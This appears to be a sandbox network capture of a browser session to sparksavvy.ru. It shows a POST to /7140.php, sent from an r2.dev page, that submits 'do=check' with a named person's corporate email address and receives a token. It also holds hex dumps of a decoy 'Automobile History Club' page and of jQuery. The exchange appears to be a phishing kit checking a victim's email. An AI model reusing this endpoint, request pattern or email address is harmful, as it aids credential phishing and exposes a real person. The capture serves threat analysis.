2024-10-10 16:00:32 UTC	1369	IN	Data Raw: 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 63 61 72 22 3e 3c 2f 69 3e 20 41 75 74 6f 6d 6f 62 69 6c 65 20 48 69 73 74 6f 72 79 20 43 6c 75 62 20 0d 0a 20 20 20 20 20 20 20 20 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 74 6f 67 67 6c 65 72 22 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 64 61 74 61 2d 62 73 2d 74 6f 67 67 6c 65 3d 22 63 6f 6c 6c 61 70 73 65 22 20 64 61 74 61 2d 62 73 2d 74 61 72 67 65 74 3d 22 23 6e 61 76 62 61 72 52 65 73 70 6f 6e 73 69 76 65 22 20 61 72 69 61 2d 63 6f 6e 74 72 6f 6c 73 3d 22 6e 61 76 62 61 72 52 65 73 70 6f 6e 73 69 76 65 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 3d 22 66 61 6c 73 65 22 20 61 72 69 61 Data Ascii: > <i class="fas fa-car"></i> Automobile History Club </a> <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria
2024-10-10 16:00:32 UTC	1369	IN	Data Raw: 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 74 68 2e 62 69 6e 67 2e 63 6f 6d 2f 74 68 2f 69 64 2f 4f 49 50 2e 6b 74 47 5f 32 64 5f 69 36 47 63 54 63 34 6c 5f 50 4d 36 72 7a 41 48 61 45 4b 27 29 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 63 65 6e 74 65 72 3b 22 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 64 69 73 70 6c 61 79 2d 33 22 3e 57 65 6c 63 6f 6d 65 20 74 6f 20 41 75 74 6f 6d 6f 62 69 6c 65 20 48 69 73 74 6f 72 79 20 43 6c 75 62 3c 2f 68 31 3e 0d 0a 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 6c 65 61 64 22 Data Ascii: und-image: url('https://th.bing.com/th/id/OIP.ktG_2d_i6GcTc4l_PM6rzAHaEK'); background-size: cover; background-position: center;"> <div class="container"> <h1 class="display-3">Welcome to Automobile History Club</h1> <p class="lead"
2024-10-10 16:00:32 UTC	1369	IN	Data Raw: 3c 2f 64 69 76 3e 0d 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 0d 0a 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 70 79 2d 35 20 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6c 67 2d 34 20 6d 62 2d 34 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 61 72 64 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 63 6c 61 73 73 3d 22 63 61 72 64 2d 69 6d 67 2d 74 6f 70 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 74 68 2e 62 69 Data Ascii: </div></section><section class="py-5 text-center"> <div class="container"> <div class="row"> <div class="col-lg-4 mb-4"> <div class="card"> <img class="card-img-top" src="https://th.bi
2024-10-10 16:00:32 UTC	1369	IN	Data Raw: 65 72 6e 2d 73 75 70 65 72 63 61 72 73 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 70 72 69 6d 61 72 79 22 3e 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 63 68 65 76 72 6f 6e 2d 72 69 67 68 74 22 3e 3c 2f 69 3e 20 52 65 61 64 20 4d 6f 72 65 3c 2f 61 3e 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6c 67 2d 34 20 6d 62 2d 34 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 61 72 64 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ern-supercars" class="btn btn-primary"><i class="fas fa-chevron-right"></i> Read More</a> </div> </div> </div> <div class="col-lg-4 mb-4"> <div class="card">
2024-10-10 16:00:32 UTC	548	IN	Data Raw: 20 20 20 20 20 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6c 69 73 74 2d 69 6e 6c 69 6e 65 2d 69 74 65 6d 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 70 61 72 6b 73 61 76 76 79 2e 72 75 2f 23 74 65 72 6d 73 22 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 6c 69 67 68 74 22 3e 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 66 69 6c 65 2d 63 6f 6e 74 72 61 63 74 22 3e 3c 2f 69 3e 20 54 65 72 6d 73 3c 2f 61 3e 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6c 69 73 74 2d 69 6e 6c 69 6e 65 2d 69 74 65 6d 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: </li> <li class="list-inline-item"> <a href="https://sparksavvy.ru/#terms" class="text-light"><i class="fas fa-file-contract"></i> Terms</a> </li> <li class="list-inline-item">
2024-10-10 16:00:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.17	49738	104.21.48.11	443	5760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:31 UTC	735	OUT	POST ///7140.php HTTP/1.1 Host: sparksavvy.ru Connection: keep-alive Content-Length: 49 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-10 16:00:31 UTC	49	OUT	Data Raw: 64 6f 3d 63 68 65 63 6b 26 65 6d 3d 72 61 63 68 65 6c 2e 61 6e 64 65 72 73 6f 6e 40 61 6d 65 72 69 63 61 6e 73 69 67 6e 61 74 75 72 65 2e 63 6f 6d Data Ascii: do=check&em=rachel.anderson@americansignature.com
2024-10-10 16:00:32 UTC	770	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 16:00:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/7.3.33 access-control-allow-origin: * cache-control: no-store, no-cache, must-revalidate, max-age=0 pragma: no-cache expires: Wed, 11 Jan 1984 05:00:00 GMT vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gegerXOZa2ptzBJ3q0PeBlvEivsU97%2Bkg8BEBXqdJ4rtPjqw4WssA5LSUvXm9OGYpPp3NIO1AAIKtf%2FNLjkYsINC1Lu2Zo0zce6pFQHWU5CEDHc%2BEgeT0ZoPMfWWI2M5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d07d2e6ccda4314-EWR alt-svc: h3=":443"; ma=86400
2024-10-10 16:00:32 UTC	128	IN	Data Raw: 37 61 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 62 61 6e 6e 65 72 22 3a 6e 75 6c 6c 2c 22 62 61 63 6b 67 72 6f 75 6e 64 22 3a 6e 75 6c 6c 2c 22 62 6f 69 6c 65 72 50 6c 61 74 65 54 65 78 74 22 3a 6e 75 6c 6c 2c 22 74 6f 6b 65 6e 22 3a 22 71 31 59 71 4c 73 35 58 73 73 6f 72 7a 63 6e 52 55 53 6f 70 55 4c 4a 53 79 6b 39 4c 55 36 6f 46 41 41 3d 3d 22 7d 0d 0a Data Ascii: 7a{"status":"success","banner":null,"background":null,"boilerPlateText":null,"token":"q1YqLs5XssorzcnRUSopULJSyk9LU6oFAA=="}
2024-10-10 16:00:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.17	49737	151.101.194.137	443	5760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:31 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-10 16:00:31 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Thu, 10 Oct 2024 16:00:31 GMT Age: 2527002 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740051-EWR X-Cache: HIT, HIT X-Cache-Hits: 5889, 2 X-Timer: S1728576032.781891,VS0,VE0 Vary: Accept-Encoding
2024-10-10 16:00:31 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-10-10 16:00:31 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2024-10-10 16:00:31 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2024-10-10 16:00:31 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2024-10-10 16:00:31 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2024-10-10 16:00:32 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.17	49741	104.21.48.11	443	5760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:34 UTC	347	OUT	GET ///7140.php HTTP/1.1 Host: sparksavvy.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-10 16:00:34 UTC	821	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 16:00:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/7.3.33 access-control-allow-origin: * cache-control: no-store, no-cache, must-revalidate, max-age=0 pragma: no-cache expires: Wed, 11 Jan 1984 05:00:00 GMT vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XsKkzhm5LkY4A%2BGfQHVwdr5C%2FFXxahBoTexhAEGfhvtxAIaN4tC%2BXRe5wnn40L5ys%2Byr4APZF27EbX7g%2Fa5Z3MZAE3ZVZ%2BJ8EDyttIswG7iUzoT3AeTqPLwSAx15%2Fwm1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8d07d2f76ff9c457-EWR alt-svc: h3=":443"; ma=86400
2024-10-10 16:00:34 UTC	548	IN	Data Raw: 31 61 32 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 2c 20 6e 6f 73 6e 69 70 70 65 74 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 75 74 6f 6d 6f 62 69 6c 65 20 48 69 73 74 Data Ascii: 1a25<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noarchive, nosnippet, noindex, nofollow"> <title>Automobile Hist
2024-10-10 16:00:34 UTC	1369	IN	Data Raw: 76 62 61 72 2d 65 78 70 61 6e 64 2d 6c 67 20 6e 61 76 62 61 72 2d 64 61 72 6b 20 62 67 2d 64 61 72 6b 22 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 62 72 61 6e 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 70 61 72 6b 73 61 76 76 79 2e 72 75 2f 23 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 63 61 72 22 3e 3c 2f 69 3e 20 41 75 74 6f 6d 6f 62 69 6c 65 20 48 69 73 74 6f 72 79 20 43 6c 75 62 20 0d 0a 20 20 20 20 20 20 20 20 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 74 6f 67 67 6c 65 72 22 20 74 79 70 65 3d Data Ascii: vbar-expand-lg navbar-dark bg-dark"> <div class="container"> <a class="navbar-brand" href="https://sparksavvy.ru/#"> <i class="fas fa-car"></i> Automobile History Club </a> <button class="navbar-toggler" type=
2024-10-10 16:00:34 UTC	1369	IN	Data Raw: 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 3c 2f 6e 61 76 3e 0d 0a 0d 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 72 6f 20 62 67 2d 64 61 72 6b 20 74 65 78 74 2d 6c 69 67 68 74 20 74 65 78 74 2d 63 65 6e 74 65 72 22 20 73 74 79 6c 65 3d 22 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 35 30 70 78 3b 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 35 30 70 78 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 74 68 2e 62 69 6e 67 2e 63 6f 6d 2f 74 68 2f 69 64 2f 4f 49 50 2e 49 66 4c 56 6c 6e 61 4a 61 30 51 31 47 5a 79 37 2d 53 5f 68 74 51 48 61 45 6f 27 29 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 63 65 6e 74 65 Data Ascii: </div></nav><div class="hero bg-dark text-light text-center" style="padding-top: 150px; padding-bottom: 50px; background-image: url('https://th.bing.com/th/id/OIP.IfLVlnaJa0Q1GZy7-S_htQHaEo'); background-size: cover; background-position: cente
2024-10-10 16:00:34 UTC	1369	IN	Data Raw: 65 20 66 65 65 6c 20 75 6e 63 65 72 74 61 69 6e 2c 20 75 6e 63 6c 61 64 2c 20 61 6e 64 20 69 6e 63 6f 6d 70 6c 65 74 65 2e 20 2d 20 4d 61 72 73 68 61 6c 6c 20 4d 63 4c 75 68 61 6e 20 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 71 75 6f 74 65 2d 72 69 67 68 74 22 3e 3c 2f 69 3e 3c 2f 70 3e 20 0d 0a 20 20 20 20 20 20 20 20 3c 2f 62 6c 6f 63 6b 71 75 6f 74 65 3e 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 0d 0a 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 70 79 2d 35 20 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: e feel uncertain, unclad, and incomplete. - Marshall McLuhan <i class="fas fa-quote-right"></i></p> </blockquote> </div></section><section class="py-5 text-center"> <div class="container"> <div class="row">
2024-10-10 16:00:34 UTC	1369	IN	Data Raw: 73 74 20 61 6e 64 20 67 72 65 61 74 65 73 74 20 69 6e 20 73 75 70 65 72 63 61 72 20 74 65 63 68 6e 6f 6c 6f 67 79 2c 20 70 65 72 66 6f 72 6d 61 6e 63 65 2c 20 61 6e 64 20 64 65 73 69 67 6e 2e 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 70 61 72 6b 73 61 76 76 79 2e 72 75 2f 23 6d 6f 64 65 72 6e 2d 73 75 70 65 72 63 61 72 73 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 70 72 69 6d 61 72 79 22 3e 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 63 68 65 76 72 6f 6e 2d 72 69 67 68 74 22 3e 3c 2f 69 3e 20 52 65 61 64 20 4d 6f 72 65 3c 2f 61 3e 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 